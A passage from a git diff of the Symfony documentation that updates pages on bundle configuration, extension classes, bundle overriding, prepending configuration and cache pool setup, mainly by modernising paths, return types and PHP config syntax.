ContainerBuilder $container): void { $config = []; // let resources override the previous set value @@ -327,10 +429,10 @@ The ``config:dump-reference`` command dumps the default configuration of a bundle in the console using the Yaml format. As long as your bundle's configuration is located in the standard location -(``YourBundle\DependencyInjection\Configuration``) and does not have -a constructor it will work automatically. If you +(``<YourBundle>/src/DependencyInjection/Configuration``) and does not have +a constructor, it will work automatically. If you have something different, your ``Extension`` class must override the -:method:`Extension::getConfiguration() <Symfony\\Component\\HttpKernel\\DependencyInjection\\Extension::getConfiguration>` +:method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>` method and return an instance of your ``Configuration``. Supporting XML @@ -361,14 +463,15 @@ URL nor does it need to exist). By default, the namespace for a bundle is ``http://example.org/schema/dic/DI_ALIAS``, where ``DI_ALIAS`` is the DI alias of the extension. You might want to change this to a more professional URL:: - // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php + // src/DependencyInjection/AcmeHelloExtension.php + namespace Acme\HelloBundle\DependencyInjection; // ... class AcmeHelloExtension extends Extension { // ... - public function getNamespace() + public function getNamespace(): string { return 'http://acme_company.com/schema/dic/hello'; } @@ -390,19 +493,20 @@ namespace is then replaced with the XSD validation base path returned from method. This namespace is then followed by the rest of the path from the base path to the file itself. -By convention, the XSD file lives in the ``Resources/config/schema/``, but you +By convention, the XSD file lives in ``config/schema/`` directory, but you can place it anywhere you like. You should return this path as the base path:: - // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php + // src/DependencyInjection/AcmeHelloExtension.php + namespace Acme\HelloBundle\DependencyInjection; // ... class AcmeHelloExtension extends Extension { // ... - public function getXsdValidationBasePath() + public function getXsdValidationBasePath(): string { - return __DIR__.'/../Resources/config/schema'; + return __DIR__.'/../config/schema'; } } @@ -412,15 +516,15 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be .. code-block:: xml <!-- config/packages/acme_hello.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:acme-hello="http://acme_company.com/schema/dic/hello" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://acme_company.com/schema/dic/hello - https://acme_company.com/schema/dic/hello/hello-1.0.xsd"> - + https://acme_company.com/schema/dic/hello/hello-1.0.xsd" + > <acme-hello:config> <!-- ... --> </acme-hello:config> diff --git a/bundles/extension.rst b/bundles/extension.rst index edbcb5cd270..d2792efc477 100644 --- a/bundles/extension.rst +++ b/bundles/extension.rst @@ -1,7 +1,3 @@ -.. index:: - single: Configuration; Semantic - single: Bundle; Extension configuration - How to Load Service Configuration inside a Bundle ================================================= @@ -10,12 +6,74 @@ file used by the application but in the bundles themselves. This article explains how to create and load service files using the bundle directory structure. +There are two different ways of doing it: + +#. :ref:`Load your services in the main bundle class <bundle-load-services-bundle-class>`: + this is recommended for new bundles and for bundles following the + :ref:`recommended directory structure <bundles-directory-structure>`; +#. :ref:`Create an extension class to load the service configuration files <bundle-load-services-extension>`: + this was the traditional way of doing it, but nowadays it's only recommended for + bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`. + +.. _bundle-load-services-bundle-class: + +Loading Services Directly in your Bundle Class +---------------------------------------------- + +In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` +method to load service definitions from configuration files:: + + // ... + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class AcmeHelloBundle extends AbstractBundle + { + public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void + { + // load an XML, PHP or YAML file + $container->import('../config/services.xml'); + + // you can also add or replace parameters and services + $container->parameters() + ->set('acme_hello.phrase', $config['phrase']) + ; + + if ($config['scream']) { + $container->services() + ->get('acme_hello.printer') + ->class(ScreamingPrinter::class) + ; + } + } + } + +This method works similar to the ``Extension::load()`` method explained below, +but it uses a new simpler API to define and import service configuration. + +.. note:: + + Contrary to the ``$configs`` parameter in ``Extension::load()``, the + ``$config`` parameter is already merged and processed by the + ``AbstractBundle``. + +.. note:: + + The ``loadExtension()`` is called only at compile time. + +.. _bundle-load-services-extension: + Creating an Extension Class --------------------------- -In order to load service configuration, you have to create a Dependency -Injection (DI) Extension for your bundle. By default, the Extension class must -follow these conventions (but later you'll learn how to skip them if needed): +This is the traditional way of loading service definitions in bundles. For new +bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`, +but the traditional way of creating an extension class still works. + +A dependency injection extension is defined as a class that follows these +conventions (later you'll learn how to skip them if needed): * It has to live in the ``DependencyInjection`` namespace of the bundle; @@ -24,13 +82,13 @@ follow these conventions (but later you'll learn how to skip them if needed): :class:`Symfony\\Component\\DependencyInjection\\Extension\\Extension` class; * The name is equal to the bundle name with the ``Bundle`` suffix replaced by - ``Extension`` (e.g. the Extension class of the AcmeBundle would be called + ``Extension`` (e.g. the extension class of the AcmeBundle would be called ``AcmeExtension`` and the one for AcmeHelloBundle would be called ``AcmeHelloExtension``). This is how the extension of an AcmeHelloBundle should look like:: - // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php + // src/DependencyInjection/AcmeHelloExtension.php namespace Acme\HelloBundle\DependencyInjection; use Symfony\Component\DependencyInjection\ContainerBuilder; @@ -38,7 +96,7 @@ This is how the extension of an AcmeHelloBundle should look like:: class AcmeHelloExtension extends Extension { - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { // ... you'll load the files here later } @@ -54,10 +112,11 @@ method to return the instance of the extension:: // ... use Acme\HelloBundle\DependencyInjection\UnconventionalExtensionClass; + use Symfony\Component\DependencyInjection\Extension\ExtensionInterface; class AcmeHelloBundle extends Bundle { - public function getContainerExtension() + public function getContainerExtension(): ?ExtensionInterface { return new UnconventionalExtensionClass(); } @@ -73,7 +132,7 @@ class name to underscores (e.g. ``AcmeHelloExtension``'s DI alias is ``acme_hello``). Using the ``load()`` Method ---------------------------- +~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the ``load()`` method, all services and parameters related to this extension will be loaded. This method doesn't get the actual container instance, but a @@ -87,17 +146,17 @@ but it is more common if you put these definitions in a configuration file (using the YAML, XML or PHP format). For instance, assume you have a file called ``services.xml`` in the -``Resources/config/`` directory of your bundle, your ``load()`` method looks like:: +``config/`` directory of your bundle, your ``load()`` method looks like:: use Symfony\Component\Config\FileLocator; use Symfony\Component\DependencyInjection\Loader\XmlFileLoader; // ... - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $loader = new XmlFileLoader( $container, - new FileLocator(__DIR__.'/../Resources/config') + new FileLocator(__DIR__.'/../../config') ); $loader->load('services.xml'); } @@ -119,15 +178,15 @@ they are compiled when generating the application cache to improve the overall performance. Define the list of annotated classes to compile in the ``addAnnotatedClassesToCompile()`` method:: - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { // ... $this->addAnnotatedClassesToCompile([ // you can define the fully qualified class names... - 'App\\Controller\\DefaultController', + 'Acme\\BlogBundle\\Controller\\AuthorController', // ... but glob patterns are also supported: - '**Bundle\\Controller\\', + 'Acme\\BlogBundle\\Form\\**', // ... ]); @@ -142,7 +201,7 @@ Patterns are transformed into the actual class namespaces using the classmap generated by Composer. Therefore, before using these patterns, you must generate the full classmap executing the ``dump-autoload`` command of Composer. -.. caution:: +.. warning:: This technique can't be used when the classes to compile use the ``__DIR__`` or ``__FILE__`` constants, because their values will change when loading diff --git a/bundles/index.rst b/bundles/index.rst index e4af2cd357b..58bcd13761e 100644 --- a/bundles/index.rst +++ b/bundles/index.rst @@ -1,5 +1,3 @@ -:orphan: - Bundles ======= diff --git a/bundles/override.rst b/bundles/override.rst index bf53eb5ce3c..f25bd785373 100644 --- a/bundles/override.rst +++ b/bundles/override.rst @@ -1,6 +1,3 @@ -.. index:: - single: Bundle; Inheritance - How to Override any Part of a Bundle ==================================== @@ -8,14 +5,6 @@ When using a third-party bundle, you might want to customize or override some of its features. This document describes ways of overriding the most common features of a bundle. -.. tip:: - - The bundle overriding mechanism means that you cannot use physical paths to - refer to bundle's resources (e.g. ``__DIR__/config/services.xml``). Always - use logical paths in your bundles (e.g. ``@FooBundle/Resources/config/services.xml``) - and call the :ref:`locateResource() method <http-kernel-resource-locator>` - to turn them into physical paths when needed. - .. _override-templates: Templates @@ -23,14 +12,14 @@ Templates Third-party bundle templates can be overridden in the ``<your-project>/templates/bundles/<bundle-name>/`` directory. The new templates -must use the same name and path (relative to ``<bundle>/Resources/views/``) as +must use the same name and path (relative to ``<bundle>/templates/``) as the original templates. -For example, to override the ``Resources/views/Registration/confirmed.html.twig`` -template from the FOSUserBundle, create this template: -``<your-project>/templates/bundles/FOSUserBundle/Registration/confirmed.html.twig`` +For example, to override the ``templates/registration/confirmed.html.twig`` +template from the AcmeUserBundle, create this template: +``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig`` -.. caution:: +.. warning:: If you add a template in a new location, you *may* need to clear your cache (``php bin/console cache:clear``), even if you are in debug mode. @@ -43,9 +32,9 @@ extend from the original template, not from the overridden one: .. code-block:: twig - {# templates/bundles/FOSUserBundle/Registration/confirmed.html.twig #} + {# templates/bundles/AcmeUserBundle/registration/confirmed.html.twig #} {# the special '!' prefix avoids errors when extending from an overridden template #} - {% extends "@!FOSUser/Registration/confirmed.html.twig" %} + {% extends "@!AcmeUser/registration/confirmed.html.twig" %} {% block some_block %} ... @@ -139,8 +128,8 @@ to a new validation group: <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping - https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> - + https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd" + > <class name="FOS\UserBundle\Model\User"> <property name="plainPassword"> <constraint name="NotBlank"> @@ -173,7 +162,7 @@ For this reason, you can override any bundle translation file from the main ``translations/`` directory, as long as the new file uses the same domain. For example, to override the translations defined in the -``Resources/translations/FOSUserBundle.es.yml`` file of the FOSUserBundle, -create a ``<your-project>/translations/FOSUserBundle.es.yml`` file. +``translations/AcmeUserBundle.es.yaml`` file of the AcmeUserBundle, +create a ``<your-project>/translations/AcmeUserBundle.es.yaml`` file. .. _`the Doctrine documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/inheritance-mapping.html#overrides diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst index 2b6f9dbfe3f..e4099d9f81a 100644 --- a/bundles/prepend_extension.rst +++ b/bundles/prepend_extension.rst @@ -1,14 +1,10 @@ -.. index:: - single: Configuration; Semantic - single: Bundle; Extension configuration - How to Simplify Configuration of Multiple Bundles ================================================= When building reusable and extensible applications, developers are often faced with a choice: either create a single large bundle or multiple smaller bundles. Creating a single bundle has the drawback that it's impossible for -users to choose to remove functionality they are not using. Creating multiple +users to remove unused functionality. Creating multiple bundles has the drawback that configuration becomes more tedious and settings often need to be repeated for various bundles. @@ -35,7 +31,7 @@ To give an Extension the power to do this, it needs to implement { // ... - public function prepend(ContainerBuilder $container) + public function prepend(ContainerBuilder $container): void { // ... } @@ -56,7 +52,7 @@ a configuration setting in multiple bundles as well as disable a flag in multipl in case a specific other bundle is not registered:: // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php - public function prepend(ContainerBuilder $container) + public function prepend(ContainerBuilder $container): void { // get all bundles $bundles = $container->getParameter('kernel.bundles'); @@ -65,32 +61,31 @@ in case a specific other bundle is not registered:: // disable AcmeGoodbyeBundle in bundles $config = ['use_acme_goodbye' => false]; foreach ($container->getExtensions() as $name => $extension) { - switch ($name) { - case 'acme_something': - case 'acme_other': - // set use_acme_goodbye to false in the config of - // acme_something and acme_other - // - // note that if the user manually configured - // use_acme_goodbye to true in config/services.yaml - // then the setting would in the end be true and not false - $container->prependExtensionConfig($name, $config); - break; - } + match ($name) { + // set use_acme_goodbye to false in the config of + // acme_something and acme_other + // + // note that if the user manually configured + // use_acme_goodbye to true in config/services.yaml + // then the setting would in the end be true and not false + 'acme_something', 'acme_other' => $container->prependExtensionConfig($name, $config), + default => null + }; } } - // process the configuration of AcmeHelloExtension + // get the configuration of AcmeHelloExtension (it's a list of configuration) $configs = $container->getExtensionConfig($this->getAlias()); - // use the Configuration class to generate a config array with - // the settings "acme_hello" - $config = $this->processConfiguration(new Configuration(), $configs); - - // check if entity_manager_name is set in the "acme_hello" configuration - if (isset($config['entity_manager_name'])) { - // prepend the acme_something settings with the entity_manager_name - $config = ['entity_manager_name' => $config['entity_manager_name']]; - $container->prependExtensionConfig('acme_something', $config); + + // iterate in reverse to preserve the original order after prepending the config + foreach (array_reverse($configs) as $config) { + // check if entity_manager_name is set in the "acme_hello" configuration + if (isset($config['entity_manager_name'])) { + // prepend the acme_something settings with the entity_manager_name + $container->prependExtensionConfig('acme_something', [ + 'entity_manager_name' => $config['entity_manager_name'], + ]); + } } } @@ -126,29 +121,99 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to http://example.org/schema/dic/acme_something https://example.org/schema/dic/acme_something/acme_something-1.0.xsd http://example.org/schema/dic/acme_other - https://example.org/schema/dic/acme_something/acme_other-1.0.xsd"> - + https://example.org/schema/dic/acme_something/acme_other-1.0.xsd" + > <acme-something:config use-acme-goodbye="false"> <!-- ... --> <acme-something:entity-manager-name>non_default</acme-something:entity-manager-name> </acme-something:config> - <acme-other:config use-acme-goodbye="false"/> + <acme-other:config use-acme-goodbye="false"> + <!-- ... --> + </acme-other:config> </container> .. code-block:: php // config/packages/acme_something.php - $container->loadFromExtension('acme_something', [ + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->extension('acme_something', [ + // ... + 'use_acme_goodbye' => false, + 'entity_manager_name' => 'non_default', + ]); + $container->extension('acme_other', [ + // ... + 'use_acme_goodbye' => false, + ]); + }; + +Prepending Extension in the Bundle Class +---------------------------------------- + +You can also prepend extension configuration directly in your +Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` +method:: + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class FooBundle extends AbstractBundle + { + public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void + { + // prepend + $containerBuilder->prependExtensionConfig('framework', [ + 'cache' => ['prefix_seed' => 'foo/bar'], + ]); + + // prepend config from a file + $containerConfigurator->import('../config/packages/cache.php'); + } + } + +.. note:: + + The ``prependExtension()`` method, like ``prepend()``, is called only at compile time. + +.. versionadded:: 7.1 + + Starting from Symfony 7.1, calling the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import` + method inside ``prependExtension()`` will prepend the given configuration. + In previous Symfony versions, this method appended the configuration. + +Alternatively, you can use the ``prepend`` parameter of the +:method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension` +method:: + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class FooBundle extends AbstractBundle + { + public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void + { // ... - 'use_acme_goodbye' => false, - 'entity_manager_name' => 'non_default', - ]); - $container->loadFromExtension('acme_other', [ + + $containerConfigurator->extension('framework', [ + 'cache' => ['prefix_seed' => 'foo/bar'], + ], prepend: true); + // ... - 'use_acme_goodbye' => false, - ]); + } + } + +.. versionadded:: 7.1 + + The ``prepend`` parameter of the + :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension` + method was added in Symfony 7.1. More than one Bundle using PrependExtensionInterface ---------------------------------------------------- diff --git a/cache.rst b/cache.rst index db0e1f162c5..9379511fde8 100644 --- a/cache.rst +++ b/cache.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache - Cache ===== @@ -13,7 +10,7 @@ The following example shows a typical usage of the cache:: use Symfony\Contracts\Cache\ItemInterface; // The callable will only be executed on a cache miss. - $value = $pool->get('my_cache_key', function (ItemInterface $item) { + $value = $pool->get('my_cache_key', function (ItemInterface $item): string { $item->expiresAfter(3600); // ... do some HTTP request or heavy computations @@ -27,7 +24,7 @@ The following example shows a typical usage of the cache:: // ... and to remove the cache key $pool->delete('my_cache_key'); -Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces. +Symfony supports Cache Contracts and PSR-6/16 interfaces. You can read more about these at the :doc:`component documentation </components/cache>`. .. _cache-configuration-with-frameworkbundle: @@ -35,19 +32,20 @@ You can read more about these at the :doc:`component documentation </components/ Configuring Cache with FrameworkBundle -------------------------------------- -When configuring the cache component there are a few concepts you should know -of: +When configuring the cache component there are a few concepts you should know: **Pool** This is a service that you will interact with. Each pool will always have - its own namespace and cache items. There is never a conflict between pools. + its own namespace and cache items. There are never conflicts between pools. **Adapter** An adapter is a *template* that you use to create pools. **Provider** A provider is a service that some adapters use to connect to the storage. - Redis and Memcached are example of such adapters. If a DSN is used as the + Redis and Memcached are examples of such adapters. If a DSN is used as the provider then a service is automatically created. +.. _cache-app-system: + There are two pools that are always enabled by default. They are ``cache.app`` and ``cache.system``. The system cache is used for things like annotations, serializer, and validation. The ``cache.app`` can be used in your code. You can configure which @@ -73,10 +71,11 @@ adapter (template) they use by using the ``app`` and ``system`` key like: xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> - <framework:cache app="cache.adapter.filesystem" + <framework:cache + app="cache.adapter.filesystem" system="cache.adapter.system" /> </framework:config> @@ -85,31 +84,40 @@ adapter (template) they use by using the ``app`` and ``system`` key like: .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'app' => 'cache.adapter.filesystem', - 'system' => 'cache.adapter.system', - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->app('cache.adapter.filesystem') + ->system('cache.adapter.system') + ; + }; + +.. tip:: + + While it is possible to reconfigure the ``system`` cache, it's recommended + to keep the default configuration applied to it by Symfony. The Cache component comes with a series of adapters pre-configured: * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>` * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>` -* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>` +* :doc:`cache.adapter.doctrine_dbal </components/cache/adapters/doctrine_dbal_adapter>` * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>` * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>` -* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>` +* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_adapter>` * :doc:`cache.adapter.psr6 </components/cache/adapters/proxy_adapter>` * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>` * :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags) -.. versionadded:: 5.2 +.. note:: - ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2. + There's also a special ``cache.adapter.system`` adapter. It's recommended to + use it for the :ref:`system cache <cache-app-system>`. This adapter uses some + logic to dynamically select the best possible storage based on your system + (either PHP files or APCu). -Some of these adapters could be configured via shortcuts. Using these shortcuts -will create pools with service IDs that follow the pattern ``cache.[type]``. +Some of these adapters could be configured via shortcuts. .. configuration-block:: @@ -120,16 +128,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``. cache: directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem - # service: cache.doctrine - default_doctrine_provider: 'app.doctrine_cache' - # service: cache.psr6 + default_doctrine_dbal_provider: 'doctrine.dbal.default_connection' default_psr6_provider: 'app.my_psr6_service' - # service: cache.redis default_redis_provider: 'redis://localhost' - # service: cache.memcached default_memcached_provider: 'memcached://localhost' - # service: cache.pdo - default_pdo_provider: 'doctrine.dbal.default_connection' + default_pdo_provider: 'pgsql:host=localhost' .. code-block:: xml @@ -141,23 +144,16 @@ will create pools with service IDs that follow the pattern ``cache.[type]``. xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> - <!-- - default_doctrine_provider: Service: cache.doctrine - default_psr6_provider: Service: cache.psr6 - default_redis_provider: Service: cache.redis - default_memcached_provider: Service: cache.memcached - default_pdo_provider: Service: cache.pdo - --> <!-- "directory" attribute is only used with cache.adapter.filesystem --> <framework:cache directory="%kernel.cache_dir%/pools" - default_doctrine_provider="app.doctrine_cache" - default_psr6_provider="app.my_psr6_service" - default_redis_provider="redis://localhost" - default_memcached_provider="memcached://localhost" - default_pdo_provider="doctrine.dbal.default_connection" + default-doctrine-dbal-provider="doctrine.dbal.default_connection" + default-psr6-provider="app.my_psr6_service" + default-redis-provider="redis://localhost" + default-memcached-provider="memcached://localhost" + default-pdo-provider="pgsql:host=localhost" /> </framework:config> </container> @@ -165,23 +161,26 @@ will create pools with service IDs that follow the pattern ``cache.[type]``. .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->cache() // Only used with cache.adapter.filesystem - 'directory' => '%kernel.cache_dir%/pools', - - // Service: cache.doctrine - 'default_doctrine_provider' => 'app.doctrine_cache', - // Service: cache.psr6 - 'default_psr6_provider' => 'app.my_psr6_service', - // Service: cache.redis - 'default_redis_provider' => 'redis://localhost', - // Service: cache.memcached - 'default_memcached_provider' => 'memcached://localhost', - // Service: cache.pdo - 'default_pdo_provider' => 'doctrine.dbal.default_connection', - ], - ]); + ->directory('%kernel.cache_dir%/pools') + + ->defaultDoctrineDbalProvider('doctrine.dbal.default_connection') + ->defaultPsr6Provider('app.my_psr6_service') + ->defaultRedisProvider('redis://localhost') + ->defaultMemcachedProvider('memcached://localhost') + ->defaultPdoProvider('pgsql:host=localhost') + ; + }; + +.. versionadded:: 7.1 + + Using a DSN as the provider for the PDO adapter was introduced in Symfony 7.1. + +.. _cache-create-pools: Creating Custom (Namespaced) Pools ---------------------------------- @@ -234,8 +233,8 @@ You can also create more customized pools: xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:cache default-memcached-provider="memcached://localhost"> <!-- creates a "custom_thing.cache" service @@ -265,49 +264,42 @@ You can also create more customized pools: .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'default_memcached_provider' => 'memcached://localhost', - 'pools' => [ - // creates a "custom_thing.cache" service - // autowireable via "CacheInterface $customThingCache" - // uses the "app" cache configuration - 'custom_thing.cache' => [ - 'adapter' => 'cache.app', - ], - - // creates a "my_cache_pool" service - // autowireable via "CacheInterface $myCachePool" - 'my_cache_pool' => [ - 'adapter' => 'cache.adapter.filesystem', - ], - - // uses the default_memcached_provider from above - 'acme.cache' => [ - 'adapter' => 'cache.adapter.memcached', - ], - - // control adapter's configuration - 'foobar.cache' => [ - 'adapter' => 'cache.adapter.memcached', - 'provider' => 'memcached://user:password@example.com', - ], - - // uses the "foobar.cache" pool as its backend but controls - // the lifetime and (like all pools) has a separate cache namespace - 'short_cache' => [ - 'adapter' => 'foobar.cache', - 'default_lifetime' => 60, - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $cache = $framework->cache(); + $cache->defaultMemcachedProvider('memcached://localhost'); + + // creates a "custom_thing.cache" service + // autowireable via "CacheInterface $customThingCache" + // uses the "app" cache configuration + $cache->pool('custom_thing.cache') + ->adapters(['cache.app']); + + // creates a "my_cache_pool" service + // autowireable via "CacheInterface $myCachePool" + $cache->pool('my_cache_pool') + ->adapters(['cache.adapter.filesystem']); + + // uses the default_memcached_provider from above + $cache->pool('acme.cache') + ->adapters(['cache.adapter.memcached']); + + // control adapter's configuration + $cache->pool('foobar.cache') + ->adapters(['cache.adapter.memcached']) + ->provider('memcached://user:password@example.com'); + + $cache->pool('short_cache') + ->adapters(['foobar.cache']) + ->defaultLifetime(60); + }; Each pool manages a set of independent cache keys: keys from different pools *never* collide, even if they share the same backend. This is achieved by prefixing keys with a namespace that's generated by hashing the name of the pool, the name -of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>` -that defaults to the project directory. +of the cache adapter class and a :ref:`configurable seed <reference-cache-prefix-seed>` +that defaults to the project directory and compiled container class. Each custom pool becomes a service whose service ID is the name of the pool (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool @@ -317,19 +309,73 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or ``Psr\Cache\CacheItemPoolInterface``:: use Symfony\Contracts\Cache\CacheInterface; + // ... // from a controller method - public function listProducts(CacheInterface $customThingCache) + public function listProducts(CacheInterface $customThingCache): Response { // ... } // in a service - public function __construct(CacheInterface $customThingCache) + public function __construct(private CacheInterface $customThingCache) { // ... } +.. tip:: + + If you need the namespace to be interoperable with a third-party app, + you can take control over auto-generation by setting the ``namespace`` + attribute of the ``cache.pool`` service tag. For example, you can + override the service definition of the adapter: + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + app.cache.adapter.redis: + parent: 'cache.adapter.redis' + tags: + - { name: 'cache.pool', namespace: 'my_custom_namespace' } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + <services> + <!-- ... --> + + <service id="app.cache.adapter.redis" parent="cache.adapter.redis"> + <tag name="cache.pool" namespace="my_custom_namespace"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $container): void { + $container->services() + // ... + + ->set('app.cache.adapter.redis') + ->parent('cache.adapter.redis') + ->tag('cache.pool', ['namespace' => 'my_custom_namespace']) + ; + }; + Custom Provider Options ----------------------- @@ -369,11 +415,14 @@ and use that when configuring the pool. xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:cache> - <framework:pool name="cache.my_redis" adapter="cache.adapter.redis" provider="app.my_custom_redis_provider"/> + <framework:pool name="cache.my_redis" + adapter="cache.adapter.redis" + provider="app.my_custom_redis_provider" + /> </framework:cache> </framework:config> @@ -392,27 +441,27 @@ and use that when configuring the pool. .. code-block:: php // config/packages/cache.php - use Symfony\Component\Cache\Adapter\RedisAdapter; + namespace Symfony\Component\DependencyInjection\Loader\Configurator; - $container->loadFromExtension('framework', [ - 'cache' => [ - 'pools' => [ - 'cache.my_redis' => [ - 'adapter' => 'cache.adapter.redis', - 'provider' => 'app.my_custom_redis_provider', - ], - ], - ], - ]); - - $container->register('app.my_custom_redis_provider', \Redis::class) - ->setFactory([RedisAdapter::class, 'createConnection']) - ->addArgument('redis://localhost') - ->addArgument([ - 'retry_interval' => 2, - 'timeout' => 10 - ]) - ; + use Symfony\Component\Cache\Adapter\RedisAdapter; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container, FrameworkConfig $framework): void { + $framework->cache() + ->pool('cache.my_redis') + ->adapters(['cache.adapter.redis']) + ->provider('app.my_custom_redis_provider'); + + $container->register('app.my_custom_redis_provider', \Redis::class) + ->setFactory([RedisAdapter::class, 'createConnection']) + ->addArgument('redis://localhost') + ->addArgument([ + 'retry_interval' => 2, + 'timeout' => 10 + ]) + ; + }; Creating a Cache Chain ---------------------- @@ -456,11 +505,14 @@ Symfony stores the item automatically in all the missing pools. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:cache> - <framework:pool name="my_cache_pool" default-lifetime="31536000"> + <framework:pool name="my_cache_pool" + 